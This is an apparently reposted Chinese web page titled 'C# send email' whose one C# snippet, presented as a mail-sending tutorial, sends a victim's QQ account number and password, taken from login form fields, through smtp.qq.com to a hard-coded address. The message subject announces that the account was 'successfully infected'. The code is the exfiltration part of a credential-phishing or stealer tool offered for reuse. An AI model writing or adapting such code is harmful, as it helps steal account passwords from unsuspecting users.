C# 发送邮件

来源:互联网 发布:油耗测试软件 编辑:程序博客网 时间:2024/06/07 19:35
        //-------------------------------------------------------------------------        //发送邮件        private bool SendEmil()        {            //SmtpClient            SmtpClient client = new SmtpClient();            //Credentials            client.Credentials = new System.Net.NetworkCredential("123456789@qq.com","123456");            client.Port = 25;            client.Host = "smtp.qq.com";            try            {                client.Send(Initial("123456@qq.com"));                return true;            }            catch (System.Net.Mail.SmtpException)            {                return false;            }        }        //-------------------------------------------------------------------------        //配置邮件信息        public MailMessage Initial(string Address)        {            MailMessage m_Mail = new MailMessage();            //发件人            m_Mail.From = new MailAddress("123456789@qq.com");            //收件人            m_Mail.To.Add(new MailAddress(Address));            //主题            m_Mail.Subject = "QQ号:" + txtId.Text + "已成功感染!";            //内容            m_Mail.Body = "QQ号:(" + txtId.Text + ")密码:(" + txtPwd.Text + ")";            //邮件主题和正文编码格式            m_Mail.SubjectEncoding = System.Text.Encoding.UTF8;            m_Mail.BodyEncoding = System.Text.Encoding.UTF8;            //邮件正文是Html编码            m_Mail.IsBodyHtml = true;            //优先级            m_Mail.Priority = System.Net.Mail.MailPriority.High;            //添加附件,可以添加多个            //m_Mail.Attachments.Add(new Attachment("f:\\1.txt"));            //密件抄送收件人            m_Mail.Bcc.Add(Address);            //抄送收件人            m_Mail.CC.Add(Address);            return m_Mail;        }

0 0
原创粉丝点击